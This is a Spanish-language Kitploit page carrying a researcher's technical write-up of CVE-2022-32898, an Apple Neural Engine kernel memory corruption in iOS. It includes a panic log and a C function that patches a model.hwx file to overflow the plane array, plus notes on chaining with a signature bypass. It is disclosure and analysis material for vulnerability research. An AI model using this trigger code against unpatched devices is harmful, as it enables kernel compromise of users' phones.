Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-32898 — Análisis técnico y demostración de explotación de CVE-2022-32898, una vulnerabilidad de corrupción de memoria del kernel en el controlador Apple Neural Engine, con técnicas detalladas de ingeniería inversa y explotación para el kernel de iOS. | Kitploit
Herramientas/GitHubGitHub/ox1111/cve-2022-32898
Seguridad iOSAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad MóvilSeguridad de HardwareExplotación de Binarios
GitHubox1111/cve-2022-32898

CVE-2022-32898

Análisis técnico y demostración de explotación de CVE-2022-32898, una vulnerabilidad de corrupción de memoria del kernel en el controlador Apple Neural Engine, con técnicas detalladas de ingeniería inversa y explotación para el kernel de iOS.

Ver Repositorio
5hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-32898: Múltiple corrupción de memoria del kernel en ANE_ProgramCreate()

23 de noviembre de 2022 • Mohamed GHANNAM (@_simo36)

Comentario del autor

Comparto dos vulnerabilidades más del kernel de iOS accesibles desde el sandbox de la app por defecto que no requieren abrir un UserClient:

4

+16 errores del kernel que reporté a Apple se han corregido en iOS 16/16.1. Daré una charla sobre cómo encadené algunos errores para lograr r/w del kernel en #POC2022 el próximo mes, y el exploit del kernel para iOS 15 se publicará junto con otras vulnerabilidades de alto impacto después de la conferencia.

Mi característica favorita de IDA 8.0 hasta ahora: importaciones artificiales de métodos Obj-C 4

En iOS 15.5 beta 3, Apple eliminó IOMallocAligned(KHEAP_DEFAULT,...) de IOSharedDataQueue/IODataQueue::initWithCapacity() (ahora usa kernel_memory_allocate() con la bandera KMA_DATA). Era una técnica elegante para preparar el heap por defecto del kernel con datos controlados por el usuario. RIP

6

Introducción:

Mientras realizaba ingeniería inversa del proceso mediante el cual el Apple Neural Engine carga un modelo a nivel del kernel, identifiqué dos vulnerabilidades interesantes de corrupción de memoria en el código responsable de procesar las características de la red neuronal en H11ANEIn::ANE_ProgramCreate_gated(). Este tipo de vulnerabilidades, en mi opinión, son fáciles de encontrar al auditar manualmente el controlador del kernel, pero casi imposibles de detectar con fuzzers a menos que construyas algo increíblemente sofisticado.

Análisis:

Las funciones ZinComputeProgramGetNamesFromMultiPlaneLinear() y ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() son responsables de analizar la entrada y salida del procedimiento, o más precisamente, el comando LC_THREAD con sabor de hilo 2 (ane_bind_state) cuyo valor binding_type_info es 4 y 5. Por lo que puedo decir, binding_type_info = 4 significa que la entrada de un procedimiento tiene más de un plano, y binding_type_info = 5 significa que la entrada no solo tiene más de un plano sino que también está comprimida. La función ZinComputeProgramGetNamesFromMultiPlaneLinear(), por ejemplo, toma 5 argumentos: un puntero al comando de carga, un puntero al enlace del hilo y tres argumentos de salida adicionales. El último argumento de salida, planes, es un array que contendrá planos, o punteros del kernel, cuyos contenidos son controlados por el usuario, y el último argumento planeCount indicará cuántos planos (o punteros del kernel) se copiaron en planes desde el archivo model.hwx. La siguiente es la definición de la función:

1

Debido a la falta de validación de cuántos planos puede proporcionar un modelo, los punteros del kernel podrían escribirse fuera de los límites del array planes, lo que podría llevar a muchos escenarios interesantes de corrupción de memoria.

Convirtiendo la corrupción de memoria en desbordamiento de pila:

El array planes es una variable de pila ubicada en H11ANEIn::ANE_ProgramCreate_gated(), y al desbordar esta variable (que se supone debe contener múltiples planos hasta 4 elementos) con más de 4 planos, otras variables de pila podrían corromperse también, lo que podría llevar a otros problemas como confusión de tipo, ya que los punteros del kernel sobrescritos están completamente bajo control del usuario. Obviamente, desbordar el array planes con demasiadas entradas probablemente sobrescribiría el cookie de pila así como el puntero de marco de pila anterior guardado, resultando en un pánico del kernel. Afortunadamente, el número total de planos está completamente bajo control del modelo dado, por lo que podríamos corromper varias variables de pila sin afectar esas áreas sensibles de la pila.

Convirtiendo la corrupción de memoria en desbordamiento de montón:

Otro escenario interesante, y como se ilustra en la imagen de abajo, es posible desbordar dos objetos del montón: H11ANEProgramBindingInfo (en la línea 528) y H11ANEProgramCreateArgsStructOutput (en la línea 533).

2

root@kitploit:~
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

La definición de la estructura de H11ANEProgramCreateArgsStructOutput se muestra arriba, y corromperla podría resultar en los siguientes fallos:

root@kitploit:~
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

Desencadenar la vulnerabilidad:

Lo que hace que estas vulnerabilidades sean interesantes es que no requieren interactuar directamente con el kernel, en otras palabras, no es necesario abrir una conexión UserClient, simplemente necesitas compilar (o crear) un modelo malicioso y dejar que aned lo cargue en tu nombre. Como sabrás, para cargar cualquier modelo a través de aned, el modelo debe ser compilado por el servicio del sistema ANECompilerService o firmado por Apple. En otras palabras, la aplicación debe proporcionar un directorio .mlmodelc a aned, que luego solicitará a ANECompilerService que lo compile a model.hwx usando dos frameworks llamados Espresso y ANECompiler. Si no sabes de lo que estoy hablando, eres bienvenido a echar un vistazo a las diapositivas de #POC2022 aquí donde di una visión general básica de cómo funciona aned. Además, puedes obtener más detalles sobre el proceso de compilación en la excelente charla de BlackHat de Wish Wu con respecto a su investigación sobre ANE, así como su gran herramienta que imita exactamente lo que hace ANECompilerService.

En nuestro caso aquí, necesitamos un model.hwx con un procedimiento cuya entrada (o salida) soporte múltiples planos. Desafortunadamente, no existe tal modelo disponible en formato mlmodel, mlmodelc o mlpackage, y solo unos pocos modelos en formato hwx son proporcionados por Apple. La inspección de estos modelos hwx reveló que están usando algunas operaciones de redes neuronales extrañas/sin documentar que no existen en la base de código de la librería coremltools de código abierto, lo que sugiere que estas capas de red son probablemente solo para uso interno. Sin embargo, la implementación de estas operaciones está definida por el framework Espresso, y se requiere algo de ingeniería inversa para entender qué entradas y salidas soportan y cómo usarlas correctamente como una capa dentro de una red neuronal. Dado que el framework está escrito en C++ con STL, no tenía interés en hacer ingeniería inversa de esta operación porque tomaría una eternidad.

Esta fue la razón principal que me llevó a descubrir CVE-2022-32845, que no solo me permitió evitar la ingeniería inversa de este aterrador framework, sino que también me ahorró cientos de horas de estudio de temas avanzados de Machine Learning.

Así que tomé un model.hwx simple y parcheé uno de sus comandos LC_THREAD para replicar el resultado deseado en ane_bind_state, y luego exploté CVE-2022-32845 para engañar a aned para que lo cargara como si estuviera firmado por Apple; y eso fue suficiente para demostrar la vulnerabilidad a Apple.

La función que parchea el modelo se muestra a continuación, y puedes tomar prestado algo de código de mi exploit del kernel weightBufs si quieres desencadenar la vulnerabilidad tú mismo.

root@kitploit:~
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

El parche:

Apple abordó el problema en iOS 16 introduciendo algunas comprobaciones de validación en ambas funciones vulnerables, limitando el número de planos suministrado a cuatro entradas, como se muestra a continuación: 3

Eso es todo por ahora, ¡nos vemos pronto!

Descargar herramienta